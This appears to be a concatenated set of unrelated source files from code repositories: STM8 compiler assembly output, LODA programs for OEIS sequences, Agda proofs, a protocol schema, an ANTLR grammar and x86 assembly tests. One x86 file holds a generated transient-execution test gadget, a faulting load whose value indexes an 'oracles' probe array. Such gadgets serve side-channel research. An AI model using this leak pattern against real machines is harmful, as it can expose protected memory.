Smain$main$32 ==.
Smain$assert_failed$33 ==.
; ./src/main.c: 65: void assert_failed(uint8_t* file, uint32_t line)
; genLabel
; -----------------------------------------
; function assert_failed
; -----------------------------------------
; Register assignment is optimal.
; Stack space usage: 0 bytes.
_assert_failed:
Smain$assert_failed$34 ==.
Smain$assert_failed$35 ==.
; ./src/main.c: 74: while (1)
; genLabel
00102$:
; genGoto
jp 00102$
; genLabel
00104$:
Smain$assert_failed$36 ==.
; ./src/main.c: 77: }
; genEndFunction
Smain$assert_failed$37 ==.
XG$assert_failed$0$0 ==.
ret
Smain$assert_failed$38 ==.
.area CODE
.area CONST
.area INITIALIZER
.area CABS (ABS)
.area .debug_line (NOLOAD)
.dw 0,Ldebug_line_end-Ldebug_line_start
Ldebug_line_start:
.dw 2
.dw 0,Ldebug_line_stmt-6-Ldebug_line_start
.db 1
.db 1
.db -5
.db 15
.db 10
.db 0
.db 1
.db 1
.db 1
.db 1
.db 0
.db 0
.db 0
.db 1
.ascii "/usr/local/bin/../share/sdcc/include/stm8"
.db 0
.ascii "/usr/local/share/sdcc/include/stm8"
.db 0
.ascii "/usr/local/bin/../share/sdcc/include"
.db 0
.ascii "/usr/local/share/sdcc/include"
.db 0
.db 0
.ascii "./src/main.c"
.db 0
.uleb128 0
.uleb128 0
.uleb128 0
.db 0
Ldebug_line_stmt:
.db 0
.uleb128 5
.db 2
.dw 0,(Smain$delay$0)
.db 3
.sleb128 38
.db 1
.db 9
.dw Smain$delay$2-Smain$delay$0
.db 3
.sleb128 1
.db 1
.db 9
.dw Smain$delay$3-Smain$delay$2
.db 3
.sleb128 1
.db 1
.db 9
.dw 1+Smain$delay$4-Smain$delay$3
.db 0
.uleb128 1
.db 1
.db 0
.uleb128 5
.db 2
.dw 0,(Smain$main$6)
.db 3
.sleb128 42
.db 1
.db 9
.dw Smain$main$8-Smain$main$6
.db 3
.sleb128 2
.db 1
.db 9
.dw Smain$main$12-Smain$main$8
.db 3
.sleb128 1
.db 1
.db 9
.dw Smain$main$19-Smain$main$12
.db 3
.sleb128 3
.db 1
.db 9
.dw Smain$main$24-Smain$main$19
.db 3
.sleb128 1
.db 1
.db 9
.dw Smain$main$30-Smain$main$24
.db 3
.sleb128 2
.db 1
.db 9
.dw 1+Smain$main$31-Smain$main$30
.db 0
.uleb128 1
.db 1
.db 0
.uleb128 5
.db 2
.dw 0,(Smain$assert_failed$33)
.db 3
.sleb128 64
.db 1
.db 9
.dw Smain$assert_failed$35-Smain$assert_failed$33
.db 3
.sleb128 9
.db 1
.db 9
.dw Smain$assert_failed$36-Smain$assert_failed$35
.db 3
.sleb128 3
.db 1
.db 9
.dw 1+Smain$assert_failed$37-Smain$assert_failed$36
.db 0
.uleb128 1
.db 1
Ldebug_line_end:
.area .debug_loc (NOLOAD)
Ldebug_loc_start:
.dw 0,(Smain$assert_failed$34)
.dw 0,(Smain$assert_failed$38)
.dw 2
.db 120
.sleb128 1
.dw 0,0
.dw 0,0
.dw 0,(Smain$main$28)
.dw 0,(Smain$main$32)
.dw 2
.db 120
.sleb128 1
.dw 0,(Smain$main$27)
.dw 0,(Smain$main$28)
.dw 2
.db 120
.sleb128 4
.dw 0,(Smain$main$26)
.dw 0,(Smain$main$27)
.dw 2
.db 120
.sleb128 3
.dw 0,(Smain$main$25)
.dw 0,(Smain$main$26)
.dw 2
.db 120
.sleb128 2
.dw 0,(Smain$main$23)
.dw 0,(Smain$main$25)
.dw 2
.db 120
.sleb128 1
.dw 0,(Smain$main$22)
.dw 0,(Smain$main$23)
.dw 2
.db 120
.sleb128 5
.dw 0,(Smain$main$21)
.dw 0,(Smain$main$22)
.dw 2
.db 120
.sleb128 3
.dw 0,(Smain$main$20)
.dw 0,(Smain$main$21)
.dw 2
.db 120
.sleb128 2
.dw 0,(Smain$main$17)
.dw 0,(Smain$main$20)
.dw 2
.db 120
.sleb128 1
.dw 0,(Smain$main$16)
.dw 0,(Smain$main$17)
.dw 2
.db 120
.sleb128 5
.dw 0,(Smain$main$15)
.dw 0,(Smain$main$16)
.dw 2
.db 120
.sleb128 4
.dw 0,(Smain$main$14)
.dw 0,(Smain$main$15)
.dw 2
.db 120
.sleb128 3
.dw 0,(Smain$main$13)
.dw 0,(Smain$main$14)
.dw 2
.db 120
.sleb128 2
.dw 0,(Smain$main$11)
.dw 0,(Smain$main$13)
.dw 2
.db 120
.sleb128 1
.dw 0,(Smain$main$10)
.dw 0,(Smain$main$11)
.dw 2
.db 120
.sleb128 3
.dw 0,(Smain$main$9)
.dw 0,(Smain$main$10)
.dw 2
.db 120
.sleb128 2
.dw 0,(Smain$main$7)
.dw 0,(Smain$main$9)
.dw 2
.db 120
.sleb128 1
.dw 0,0
.dw 0,0
.dw 0,(Smain$delay$1)
.dw 0,(Smain$delay$5)
.dw 2
.db 120
.sleb128 1
.dw 0,0
.dw 0,0
.area .debug_abbrev (NOLOAD)
Ldebug_abbrev:
.uleb128 6
.uleb128 15
.db 0
.uleb128 11
.uleb128 11
.uleb128 73
.uleb128 19
.uleb128 0
.uleb128 0
.uleb128 3
.uleb128 5
.db 0
.uleb128 2
.uleb128 10
.uleb128 3
.uleb128 8
.uleb128 73
.uleb128 19
.uleb128 0
.uleb128 0
.uleb128 2
.uleb128 46
.db 1
.uleb128 1
.uleb128 19
.uleb128 3
.uleb128 8
.uleb128 17
.uleb128 1
.uleb128 18
.uleb128 1
.uleb128 63
.uleb128 12
.uleb128 64
.uleb128 6
.uleb128 0
.uleb128 0
.uleb128 1
.uleb128 17
.db 1
.uleb128 3
.uleb128 8
.uleb128 16
.uleb128 6
.uleb128 19
.uleb128 11
.uleb128 37
.uleb128 8
.uleb128 0
.uleb128 0
.uleb128 5
.uleb128 11
.db 0
.uleb128 17
.uleb128 1
.uleb128 18
.uleb128 1
.uleb128 0
.uleb128 0
.uleb128 4
.uleb128 36
.db 0
.uleb128 3
.uleb128 8
.uleb128 11
.uleb128 11
.uleb128 62
.uleb128 11
.uleb128 0
.uleb128 0
.uleb128 0
.area .debug_info (NOLOAD)
.dw 0,Ldebug_info_end-Ldebug_info_start
Ldebug_info_start:
.dw 2
.dw 0,(Ldebug_abbrev)
.db 4
.uleb128 1
.ascii "./src/main.c"
.db 0
.dw 0,(Ldebug_line_start+-4)
.db 1
.ascii "SDCC version 3.9.0 #11195"
.db 0
.uleb128 2
.dw 0,91
.ascii "delay"
.db 0
.dw 0,(_delay)
.dw 0,(XFmain$delay$0$0+1)
.db 0
.dw 0,(Ldebug_loc_start+232)
.uleb128 3
.db 2
.db 145
.sleb128 2
.ascii "t"
.db 0
.dw 0,91
.uleb128 0
.uleb128 4
.ascii "unsigned long"
.db 0
.db 4
.db 7
.uleb128 2
.dw 0,141
.ascii "main"
.db 0
.dw 0,(_main)
.dw 0,(XG$main$0$0+1)
.db 1
.dw 0,(Ldebug_loc_start+20)
.uleb128 5
.dw 0,(Smain$main$18)
.dw 0,(Smain$main$29)
.uleb128 0
.uleb128 2
.dw 0,206
.ascii "assert_failed"
.db 0
.dw 0,(_assert_failed)
.dw 0,(XG$assert_failed$0$0+1)
.db 1
.dw 0,(Ldebug_loc_start)
.uleb128 6
.db 2
.dw 0,206
.uleb128 3
.db 2
.db 145
.sleb128 2
.ascii "file"
.db 0
.dw 0,173
.uleb128 3
.db 2
.db 145
.sleb128 4
.ascii "line"
.db 0
.dw 0,91
.uleb128 0
.uleb128 4
.ascii "unsigned char"
.db 0
.db 1
.db 8
.uleb128 0
.uleb128 0
.uleb128 0
Ldebug_info_end:
.area .debug_pubnames (NOLOAD)
.dw 0,Ldebug_pubnames_end-Ldebug_pubnames_start
Ldebug_pubnames_start:
.dw 2
.dw 0,(Ldebug_info_start-4)
.dw 0,4+Ldebug_info_end-Ldebug_info_start
.dw 0,108
.ascii "main"
.db 0
.dw 0,141
.ascii "assert_failed"
.db 0
.dw 0,0
Ldebug_pubnames_end:
.area .debug_frame (NOLOAD)
.dw 0
.dw Ldebug_CIE0_end-Ldebug_CIE0_start
Ldebug_CIE0_start:
.dw 0xffff
.dw 0xffff
.db 1
.db 0
.uleb128 1
.sleb128 -1
.db 9
.db 12
.uleb128 8
.uleb128 2
.db 137
.uleb128 1
Ldebug_CIE0_end:
.dw 0,19
.dw 0,(Ldebug_CIE0_start-4)
.dw 0,(Smain$assert_failed$34) ;initial loc
.dw 0,Smain$assert_failed$38-Smain$assert_failed$34
.db 1
.dw 0,(Smain$assert_failed$34)
.db 14
.uleb128 2
.area .debug_frame (NOLOAD)
.dw 0
.dw Ldebug_CIE1_end-Ldebug_CIE1_start
Ldebug_CIE1_start:
.dw 0xffff
.dw 0xffff
.db 1
.db 0
.uleb128 1
.sleb128 -1
.db 9
.db 12
.uleb128 8
.uleb128 2
.db 137
.uleb128 1
Ldebug_CIE1_end:
.dw 0,131
.dw 0,(Ldebug_CIE1_start-4)
.dw 0,(Smain$main$7) ;initial loc
.dw 0,Smain$main$32-Smain$main$7
.db 1
.dw 0,(Smain$main$7)
.db 14
.uleb128 2
.db 1
.dw 0,(Smain$main$9)
.db 14
.uleb128 3
.db 1
.dw 0,(Smain$main$10)
.db 14
.uleb128 4
.db 1
.dw 0,(Smain$main$11)
.db 14
.uleb128 2
.db 1
.dw 0,(Smain$main$13)
.db 14
.uleb128 3
.db 1
.dw 0,(Smain$main$14)
.db 14
.uleb128 4
.db 1
.dw 0,(Smain$main$15)
.db 14
.uleb128 5
.db 1
.dw 0,(Smain$main$16)
.db 14
.uleb128 6
.db 1
.dw 0,(Smain$main$17)
.db 14
.uleb128 2
.db 1
.dw 0,(Smain$main$20)
.db 14
.uleb128 3
.db 1
.dw 0,(Smain$main$21)
.db 14
.uleb128 4
.db 1
.dw 0,(Smain$main$22)
.db 14
.uleb128 6
.db 1
.dw 0,(Smain$main$23)
.db 14
.uleb128 2
.db 1
.dw 0,(Smain$main$25)
.db 14
.uleb128 3
.db 1
.dw 0,(Smain$main$26)
.db 14
.uleb128 4
.db 1
.dw 0,(Smain$main$27)
.db 14
.uleb128 5
.db 1
.dw 0,(Smain$main$28)
.db 14
.uleb128 2
.area .debug_frame (NOLOAD)
.dw 0
.dw Ldebug_CIE2_end-Ldebug_CIE2_start
Ldebug_CIE2_start:
.dw 0xffff
.dw 0xffff
.db 1
.db 0
.uleb128 1
.sleb128 -1
.db 9
.db 12
.uleb128 8
.uleb128 2
.db 137
.uleb128 1
Ldebug_CIE2_end:
.dw 0,19
.dw 0,(Ldebug_CIE2_start-4)
.dw 0,(Smain$delay$1) ;initial loc
.dw 0,Smain$delay$5-Smain$delay$1
.db 1
.dw 0,(Smain$delay$1)
.db 14
.uleb128 2
|
oeis/040/A040090.asm | neoneye/loda-programs | 11 | 26804 | <filename>oeis/040/A040090.asm
; A040090: Continued fraction for sqrt(101).
; Submitted by <NAME>
; 10,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20
min $0,1
add $0,1
mul $0,10
|
oeis/142/A142547.asm | neoneye/loda-programs | 11 | 29618 | <reponame>neoneye/loda-programs
; A142547: Primes congruent to 17 mod 53.
; Submitted by <NAME>
; 17,229,547,653,971,1289,1607,2137,2243,2879,3727,3833,4363,4787,4999,5741,5953,6271,6907,7013,7331,7649,8179,9133,9239,9769,10193,10723,11677,11783,12101,13267,13691,13903,14009,14221,14327,15493,16447,16553,16871,17189,17401,18143,18461,19309,20051,20369,20899,21323,22171,22277,22807,23549,23761,24821,25033,25457,26729,27259,28001,28319,29167,29803,30757,31181,31393,31817,32029,32771,32983,33301,33619,33937,34361,34679,35527,35951,36269,36587,37117,37223,38177,38707,39343,39979,40933,41039
mov $1,8
mov $2,$0
add $2,2
pow $2,2
lpb $2
sub $2,2
mov $3,$1
mul $3,2
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,53
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
mov $0,$1
mul $0,2
sub $0,105
|
test/interaction/SolveAll-Norm.agda | shlevy/agda | 1,989 | 2701 | module SolveAll-Norm where
open import Common.Equality
open import Common.List
open import Common.Nat
example = 0 ∷ 1 ∷ 2 ∷ []
test1 : length example ≡ {!!}
test1 = refl
reverse : {A : Set} → List A → List A
reverse = go [] where
go : {A : Set} → List A → List A → List A
go acc [] = acc
go acc (x ∷ xs) = go (x ∷ acc) xs
test2 : reverse example ≡ {!!}
test2 = refl
|
Account/Goedel.Account/SchemaAccount.g4 | pashcovich/Mathematical-Mesh | 0 | 7681 | Using Goedel.Cryptography.Jose
Namespace Goedel.Account
AccountProtocol Protocol ||Mesh/Account Service
|The Mesh/Account Service is used to manage accounts. All operations
|are regarded as privileged and will require appropriate access controls.
AccountService Service "_mmmaccount._tcp" "mmmaccount"
|Every Mesh/Account Service transaction consists of exactly one
|request followed by exactly one response.
AccountRequest Structure
External Goedel.Protocol.Request
|Base class for all request messages.
AccountResponse Structure
External Goedel.Protocol.Response
|Base class for all response messages. Contains only the
|status code and status description fields.
|
|A service MAY return either the response message specified
|for that transaction or any parent of that message.
|Thus the RecryptResponse message MAY be returned in response
|to any request.
Section ||Imported Objects
|None
Section ||Common classes
|The following classes are referenced at multiple points in the protocol.
AccountData Structure |The data associated with an account
AccountId String |The account identifier
Created DateTime |Date and time that the account identifier was created.
Status String |Account status
MeshUDF String |Fingerprint of the user's mesh profile
Portal Multiple String |Mesh Portal identifier
Entries Multiple AccountDataEntry |Service specific data
AccountDataEntry Structure |Superclass for all account data entry objects
Abstract
Section 2 "Utility Transactions"
Hello Transaction ||Report service and version information.
|The Hello transaction provides a means of determining which protocol
|versions, message encodings and transport protocols are supported by
|the service.
Request AccountHelloRequest HelloRequest
Response AccountHelloResponse HelloResponse
Admin TransactionSet ||Administration Transactions
Create Transaction |Create new account
Request CreateRequest AccountRequest
Data AccountData |Describes the account to be created
Response CreateResponse AccountResponse
UDF String |Unique identifier of the account
Delete Transaction ||Delete an account
Request DeleteRequest AccountRequest
AccountId String |The account to delete
Response DeleteResponse AccountResponse
Update Transaction ||Update an account profile
Request UpdateRequest AccountRequest
Data AccountData |The account to update
Response UpdateResponse AccountResponse
Get Transaction ||Create new account
Request GetRequest AccountRequest
Data AccountData |The account to fetch
Response GetResponse AccountResponse
Data AccountData |Describes the account (if found)
|
Lists/Length.agda | Smaug123/agdaproofs | 4 | 15773 | {-# OPTIONS --safe --warning=error --without-K #-}
open import LogicalFormulae
open import Numbers.Naturals.Semiring -- for length
open import Lists.Definition
open import Lists.Fold.Fold
module Lists.Length where
length : {a : _} {A : Set a} (l : List A) → ℕ
length [] = zero
length (x :: l) = succ (length l)
length' : {a : _} {A : Set a} → (l : List A) → ℕ
length' = fold (λ _ → succ) 0
length=length' : {a : _} {A : Set a} (l : List A) → length l ≡ length' l
length=length' [] = refl
length=length' (x :: l) = applyEquality succ (length=length' l)
|
unittests/ASM/Primary/Primary_18_2.asm | cobalt2727/FEX | 628 | 94679 | %ifdef CONFIG
{
"RegData": {
"RBX": "0x08",
"RCX": "0x9918",
"RDX": "0x9A999928",
"RBP": "0x9E9D9C9B9A999938",
"RDI": "0x80",
"RSP": "0x7F80",
"R8": "0x7F7F7F80",
"R9": "0x01",
"R10": "0x4142427244744776",
"R11": "0x5152535455565686",
"R12": "0x6162636465666768"
},
"MemoryRegions": {
"0x100000000": "4096"
}
}
%endif
mov r15, 0xe0000000
mov rax, 0x4142434445464748
mov [r15 + 8 * 0], rax
mov rax, 0x5152535455565758
mov [r15 + 8 * 1], rax
mov rax, 0x6162636465666768
mov [r15 + 8 * 2], rax
mov rax, 0xD1
stc
sbb byte [r15 + 8 * 0 + 0], al
stc
sbb word [r15 + 8 * 0 + 2], ax
stc
sbb dword [r15 + 8 * 0 + 4], eax
stc
sbb qword [r15 + 8 * 1 + 0], rax
mov rbx, 0x71
mov rcx, 0x81
mov rdx, 0x91
mov rbp, 0xA1
stc
sbb bl, byte [r15 + 8 * 2]
stc
sbb cx, word [r15 + 8 * 2]
stc
sbb edx, dword [r15 + 8 * 2]
stc
sbb rbp, qword [r15 + 8 * 2]
mov rax, 0x01
stc
sbb al, 0x80
mov rdi, rax
mov rax, 0x01
stc
sbb ax, 0x8080
mov rsp, rax
mov rax, 0x01
stc
sbb eax, 0x80808080
mov r8, rax
mov rax, 0x01
stc
sbb rax, -1
mov r9, rax
mov r10, [r15 + 8 * 0]
mov r11, [r15 + 8 * 1]
mov r12, [r15 + 8 * 2]
hlt
|
Transynther/x86/_processed/US/_zr_un_/i7-7700_9_0x48_notsx.log_9_358.asm | ljhsiun2/medusa | 9 | 241531 | <gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r8
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x9b6d, %r10
nop
nop
nop
and %rbp, %rbp
movb $0x61, (%r10)
nop
nop
nop
nop
nop
xor %rsi, %rsi
lea addresses_D_ht+0x12dbd, %r8
nop
nop
nop
nop
nop
xor $5980, %r10
movb (%r8), %r9b
nop
nop
xor $36630, %r8
lea addresses_A_ht+0x1291d, %r8
nop
nop
nop
nop
nop
cmp $21495, %r11
mov $0x6162636465666768, %rsi
movq %rsi, %xmm5
and $0xffffffffffffffc0, %r8
vmovntdq %ymm5, (%r8)
nop
inc %rbp
lea addresses_A_ht+0xcabd, %rsi
lea addresses_normal_ht+0xe3fd, %rdi
nop
nop
nop
xor $35531, %r11
mov $18, %rcx
rep movsw
nop
nop
nop
nop
sub %rcx, %rcx
lea addresses_WC_ht+0x209d, %rsi
lea addresses_D_ht+0x143d, %rdi
nop
nop
nop
cmp $10882, %r10
mov $116, %rcx
rep movsw
nop
nop
nop
sub $41356, %r11
lea addresses_A_ht+0x11cbd, %rsi
lea addresses_normal_ht+0x13be7, %rdi
nop
sub $13199, %r9
mov $66, %rcx
rep movsl
nop
xor $4665, %rcx
lea addresses_WT_ht+0x1eed, %rsi
lea addresses_UC_ht+0x16b54, %rdi
nop
nop
nop
nop
sub %rbp, %rbp
mov $43, %rcx
rep movsq
nop
nop
nop
xor $27580, %r8
lea addresses_A_ht+0x1d07d, %rbp
nop
nop
and %r10, %r10
vmovups (%rbp), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $0, %xmm4, %r11
xor $53281, %r10
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r8
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %rbx
push %rcx
push %rdx
push %rsi
// Faulty Load
lea addresses_US+0xc7bd, %rbx
nop
nop
nop
nop
nop
and %rcx, %rcx
mov (%rbx), %edx
lea oracles, %r12
and $0xff, %rdx
shlq $12, %rdx
mov (%r12,%rdx,1), %rdx
pop %rsi
pop %rdx
pop %rcx
pop %rbx
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_US', 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_US', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_normal_ht', 'congruent': 4}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_D_ht', 'congruent': 9}}
{'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 32, 'type': 'addresses_A_ht', 'congruent': 5}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 6, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_A_ht'}}
{'dst': {'same': False, 'congruent': 7, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_WC_ht'}}
{'dst': {'same': False, 'congruent': 1, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_A_ht'}}
{'dst': {'same': False, 'congruent': 0, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_WT_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_A_ht', 'congruent': 5}}
{'d0': 6, '00': 3}
d0 d0 00 d0 00 d0 00 d0 d0
*/
|
programs/oeis/048/A048881.asm | karttu/loda | 0 | 104637 | <reponame>karttu/loda
; A048881: a(n) = A000120(n+1) - 1 = wt(n+1) - 1.
; 0,0,1,0,1,1,2,0,1,1,2,1,2,2,3,0,1,1,2,1,2,2,3,1,2,2,3,2,3,3,4,0,1,1,2,1,2,2,3,1,2,2,3,2,3,3,4,1,2,2,3,2,3,3,4,2,3,3,4,3,4,4,5,0,1,1,2,1,2,2,3,1,2,2,3,2,3,3,4,1,2,2,3,2,3,3,4,2,3,3,4,3,4,4,5,1,2,2,3,2,3,3,4,2,3
mov $1,$0
add $1,1
lpb $0,1
div $1,2
sub $0,$1
lpe
mov $1,$0
|
programs/oeis/098/A098383.asm | neoneye/loda | 22 | 98855 | <reponame>neoneye/loda
; A098383: Define a function f on the positive integers by: if n is 1 or composite, stop; but if n = prime(k) then f(n) = k; a(n) = sum of terms in trajectory of n under repeated application of f.
; 1,3,6,4,11,6,11,8,9,10,22,12,19,14,15,16,28,18,27,20,21,22,32,24,25,26,27,28,39,30,53,32,33,34,35,36,49,38,39,40,60,42,57,44,45,46,62,48,49,50,51,52,69,54,55,56,57,58,87,60,79,62,63,64,65,66,94,68,69,70,91,72,94,74,75,76,77,78,101,80,81,82,115,84,85,86,87,88,113,90,91,92,93,94,95,96,122,98,99,100
lpb $0
add $1,$0
mov $2,$0
seq $2,49084 ; a(n) = pi(n) if n is prime, otherwise 0.
mov $3,$2
mov $4,$2
min $4,1
sub $3,$4
mov $0,$3
add $1,$4
lpe
add $1,1
mov $0,$1
|
src/data/lib/prim/Agda/Builtin/Strict.agda | redfish64/autonomic-agda | 0 | 12987 |
module Agda.Builtin.Strict where
open import Agda.Builtin.Equality
primitive
primForce : ∀ {a b} {A : Set a} {B : A → Set b} (x : A) → (∀ x → B x) → B x
primForceLemma : ∀ {a b} {A : Set a} {B : A → Set b} (x : A) (f : ∀ x → B x) → primForce x f ≡ f x
|
oeis/142/A142131.asm | neoneye/loda-programs | 11 | 7866 | ; A142131: Primes congruent to 22 mod 37.
; Submitted by <NAME>
; 59,281,503,577,947,1021,1613,2131,2797,3019,3167,3389,3463,3833,3907,4129,4721,4943,5387,5683,6053,6571,6719,6793,7237,7459,7607,7681,7829,8273,9013,9161,9679,9901,10271,10567,10789,10937,11159,11677,12269,12343,12491,12713,13009,14341,14489,14563,15377,15451,16339,16487,16561,16931,17449,17597,18041,19373,19447,19891,20113,20261,20483,21001,21149,22037,22111,22259,22481,22777,23369,23813,23887,24109,24923,25219,25367,25589,26107,26699,26921,27143,27809,27883,28031,28549,28697,28771,29363,29437
mov $2,$0
add $2,6
pow $2,2
mov $4,21
lpb $2
mov $3,$4
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
mov $1,$0
max $1,0
cmp $1,$0
mul $2,$1
sub $2,1
add $4,37
lpe
mov $0,$4
add $0,1
|
projects/07/MemoryAccess/StaticTest/StaticTest.asm | anArkitect/Nand2Tetris | 0 | 246208 | //push constant 111
@111
D=A
@SP
A=M
M=D
@SP
M=M+1
//push constant 333
@333
D=A
@SP
A=M
M=D
@SP
M=M+1
//push constant 888
@888
D=A
@SP
A=M
M=D
@SP
M=M+1
//pop static 8
@SP
AM=M-1
D=M
@R15
M=D
@16
D=A
@8
D=A+D
@R14
M=D
@R15
D=M
@R14
A=M
M=D
//pop static 3
@SP
AM=M-1
D=M
@R15
M=D
@16
D=A
@3
D=A+D
@R14
M=D
@R15
D=M
@R14
A=M
M=D
//pop static 1
@SP
AM=M-1
D=M
@R15
M=D
@16
D=A
@1
D=A+D
@R14
M=D
@R15
D=M
@R14
A=M
M=D
//push static 3
@16
D=A
@3
A=A+D
D=M
@SP
A=M
M=D
@SP
M=M+1
//push static 1
@16
D=A
@1
A=A+D
D=M
@SP
A=M
M=D
@SP
M=M+1
//sub
@SP
AM=M-1
D=M
A=A-1
M=M-D
//push static 8
@16
D=A
@8
A=A+D
D=M
@SP
A=M
M=D
@SP
M=M+1
//add
@SP
AM=M-1
D=M
A=A-1
M=M+D
|
oeis/021/A021880.asm | neoneye/loda-programs | 11 | 170206 | ; A021880: Decimal expansion of 1/876.
; Submitted by Jon Maiga
; 0,0,1,1,4,1,5,5,2,5,1,1,4,1,5,5,2,5,1,1,4,1,5,5,2,5,1,1,4,1,5,5,2,5,1,1,4,1,5,5,2,5,1,1,4,1,5,5,2,5,1,1,4,1,5,5,2,5,1,1,4,1,5,5,2,5,1,1,4,1,5,5,2,5,1,1,4,1,5,5,2,5,1,1,4,1,5,5,2,5,1,1,4,1,5,5,2,5,1
seq $0,199685 ; a(n) = 5*10^n+1.
div $0,438
mod $0,10
|
archive/agda-2/Oscar/Property/Reflexivity.agda | m0davis/oscar | 0 | 12102 |
module Oscar.Property.Reflexivity where
open import Oscar.Level
record Reflexivity {𝔬} {⋆ : Set 𝔬} {ℓ} (_≣_ : ⋆ → ⋆ → Set ℓ) : Set (𝔬 ⊔ ℓ) where
field
reflexivity : ∀ x → x ≣ x
open Reflexivity ⦃ … ⦄ public
|
programs/oeis/094/A094705.asm | neoneye/loda | 22 | 170874 | <reponame>neoneye/loda
; A094705: Convolution of Jacobsthal(n) and 3^n.
; 0,1,4,15,50,161,504,1555,4750,14421,43604,131495,395850,1190281,3576304,10739835,32241350,96767741,290390604,871346575,2614389250,7843866801,23532998504,70601791715,211810967550,635444087461,1906354632004,5719108635255,17157415384250
add $0,2
seq $0,3063 ; a(n) = 3^(n-1)-2^n.
add $0,2
div $0,12
|
basic/src/assembler/support.asm | paulscottrobson/eris | 13 | 8711 | <gh_stars>10-100
; *****************************************************************************
; *****************************************************************************
;
; Name: support.asm
; Purpose: Support routines for assembler
; Created: 22nd March 2020
; Reviewed: TODO
; Author: <NAME> (<EMAIL>)
;
; *****************************************************************************
; *****************************************************************************
; *****************************************************************************
;
; .<identifier> sets label
;
; *****************************************************************************
.Command_Label ;; [.]
push link
stm r14,#reportUnknownVariable ; permit definitions
jsr #EvaluateExpression ; get a reference.
stm r15,#reportUnknownVariable ; turn permission off
ldm r0,r10,#esReference1 ; check reference
sknz r0
jmp #BadLabelError
ldm r0,r10,#esType1 ; to integer
skz r0
jmp #TypeMismatchError
;
ldm r0,r10,#esValue1 ; reference target
ldm r1,#asmPointer ; set it to current pointer
stm r1,r0,#0
pop link
ret |
grammar/JSPNL.g4 | okamumu/jspetrinet | 0 | 1110 | <gh_stars>0
grammar JSPNL;
@header {
package jspetrinet.parser;
}
prog
: ((statement)? NEWLINE)*
;
statement
: declaration
| simple
;
simple_block
: (NEWLINE)* '{' (simple)? (NEWLINE (simple)?)* '}'
;
// declaration
declaration
: node_declaration
| arc_declaration
| assert_declaration
;
node_declaration
: node='place' id=ID ('(' option_list ')')?
| node='trans' id=ID ('(' option_list ')')? (simple_block)?
| node=ID id=ID ('(' option_list ')')? (simple_block)?
;
arc_declaration
: type=('arc'|'iarc'|'oarc'|'harc') srcName=ID 'to' destName=ID ('(' option_list ')')?
;
assert_declaration
: 'assert' (expression | simple_block)
;
// option
option_list
: option_value (',' option_list)*
;
option_value
: assign_expression
;
// simple
simple
: assign_expression
| expression
;
// assign
assign_expression returns [int type]
: id=ID '=' expression { $type = 1; }
| id=ID ':=' expression { $type = 2; }
| ntoken_expression '=' expression { $type = 3; }
;
// expression
expression returns [int type]
: op=('!'|'+'|'-') expression { $type = 1; }
| expression op=('*'|'/'|'div'|'mod') expression { $type = 2; }
| expression op=('+'|'-') expression { $type = 3; }
| expression op=('<'|'<='|'>'|'>=') expression { $type = 4; }
| expression op=('=='|'!=') expression { $type = 5; }
| expression op='&&' expression { $type = 6; }
| expression op='||' expression { $type = 7; }
| op='ifelse' '(' expression ',' expression ',' expression ')' { $type = 8; }
| function_expression { $type = 9; }
| ntoken_expression { $type = 10; }
| enable_expression { $type = 14; }
| literal_expression { $type = 11; }
| id=ID { $type = 12; }
| '(' expression ')' { $type = 13; }
;
// function_expression
function_expression
: id=ID '(' arg_list ')'
;
// arg
arg_list
: arg_value (',' arg_list)*
;
arg_value
: val=expression
;
// ntoken
ntoken_expression
: '#' id=ID
;
// enable
enable_expression
: '?' id=ID
;
// literal
literal_expression returns [int type]
: val=INT { $type = 1; }
| val=FLOAT { $type = 2; }
| val=LOGICAL { $type = 3; }
| val=STRING { $type = 4; }
;
// TOKENS
LOGICAL: TRUE | FALSE ;
ID: CHAR (DIGIT+ | CHAR+ | '.')* ;
INT: DIGIT+ ;
FLOAT
: DIGIT+ '.' (DIGIT+)? (EXPONENT)?
| '.' (DIGIT+)? (EXPONENT)?
| DIGIT+ EXPONENT
;
STRING : '"' ( ESCAPED_QUOTE | ~('\n'|'\r') )*? '"';
NEWLINE : [\r\n;EOF]+ ;
WS : [ \t]+ -> skip ;
LINE_COMMENT
: '//' ~[\r\n]* -> channel(HIDDEN)
;
BLOCK_COMMENT
: '/*' .*? '*/' -> channel(HIDDEN)
;
fragment
DIGIT: [0-9];
fragment
EXPONENT: [eE] ('+'|'-')? (DIGIT+)? ;
fragment
CHAR : [a-zA-Z_] ;
fragment
